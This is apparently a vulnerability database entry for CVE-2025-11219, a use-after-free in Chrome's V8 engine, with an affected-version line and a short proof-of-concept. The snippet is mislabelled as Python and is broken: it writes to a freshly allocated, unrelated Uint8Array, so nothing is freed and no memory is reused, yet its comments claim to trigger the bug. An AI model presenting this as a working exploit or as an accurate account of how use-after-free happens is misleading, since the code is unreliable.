Use after free in V8 in Google Chrome prior to 141.0.7390.54 allowed a remote attacker to potentially perform out of bounds memory access via a crafted HTML page. (Chromium security severity: Low)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 141.0.7390.54
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-11219 PoC - V8 Use-After-Free
// This PoC demonstrates the UAF vulnerability pattern in V8
function triggerUAF() {
// Create objects to manipulate heap layout
const victim = new ArrayBuffer(1024);
const attacker = new Uint8Array(1024);
// Trigger garbage collection to free victim
// In real attack, this would be done through specific V8 optimization patterns
// Use-after-free: access freed memory through attacker reference
// The exact exploitation requires specific V8 version and heap grooming
for (let i = 0; i < attacker.length; i++) {
attacker[i] = 0x41; // Write to potentially freed memory
}
return attacker;
}
// Trigger the vulnerability
triggerUAF();
// Note: This is a conceptual PoC. Actual exploitation requires:
// 1. Specific V8 version (pre-141.0.7390.54)
// 2. Precise heap grooming techniques
// 3. Understanding of V8's memory management
// 4. Specific JavaScript patterns to trigger the UAF condition
// HTML wrapper for delivery
console.log('CVE-2025-11219 V8 UAF Trigger');